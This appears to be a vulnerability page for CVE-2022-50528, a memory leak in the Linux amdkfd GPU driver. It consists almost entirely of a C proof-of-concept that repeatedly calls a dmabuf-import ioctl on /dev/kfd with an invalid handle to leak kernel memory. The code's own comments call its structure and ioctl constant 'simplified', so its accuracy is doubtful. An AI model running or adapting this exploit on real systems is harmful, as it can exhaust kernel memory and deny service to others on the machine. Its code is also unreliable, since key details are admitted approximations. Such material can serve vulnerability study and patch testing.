CVE-2022-50528 Linux内核drm/amdkfd内存泄漏漏洞

// CVE-2022-50528 PoC - Trigger memory leak in amdkfd _gpuvm_import_dmabuf() // This PoC demonstrates how to trigger the vulnerability by importing // a dmabuf into GPUVM through amdkfd ioctl interface #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <linux/dma-buf.h> // AMD KFD device path #define KFD_DEVICE "/dev/kfd" // Simplified structure for importing dmabuf to GPUVM struct kfd_ioctl_import_dmabuf_args { uint64_t handle; // dmabuf handle uint64_t va_addr; // virtual address uint64_t size; // buffer size uint32_t gpu_id; // target GPU ID uint32_t flags; // access flags }; // KFD IOCTL command (simplified - actual values from kfd_ioctl.h) #define AMDKFD_IOC_IMPORT_DMABUF 0xC0304B05 int main(int argc, char *argv[]) { int kfd_fd; int ret; int iterations = 1000; // Repeat to accumulate memory leak if (argc > 1) { iterations = atoi(argv[1]); } // Open AMD KFD device kfd_fd = open(KFD_DEVICE, O_RDWR); if (kfd_fd < 0) { perror("Failed to open " KFD_DEVICE); return 1; } printf("Triggering CVE-2022-50528 memory leak...\n"); for (int i = 0; i < iterations; i++) { struct kfd_ioctl_import_dmabuf_args args; memset(&args, 0, sizeof(args)); // Use invalid handle to trigger error path in _gpuvm_import_dmabuf() // This causes memory allocation before error return without proper cleanup args.handle = (uint64_t)-1; // Invalid dmabuf handle args.va_addr = 0x100000 + i * 0x1000; args.size = 0x1000; args.gpu_id = 0; args.flags = 0; ret = ioctl(kfd_fd, AMDKFD_IOC_IMPORT_DMABUF, &args); if (ret < 0) { // Error expected, but memory may have been leaked if (i % 100 == 0) { fprintf(stderr, "Iteration %d: ioctl failed (errno=%d)\n", i, errno); } } } printf("Done. Memory leak should be visible in kernel slab/kmemleak.\n"); printf("Check with: cat /proc/meminfo | grep Slab\n"); close(kfd_fd); return 0; }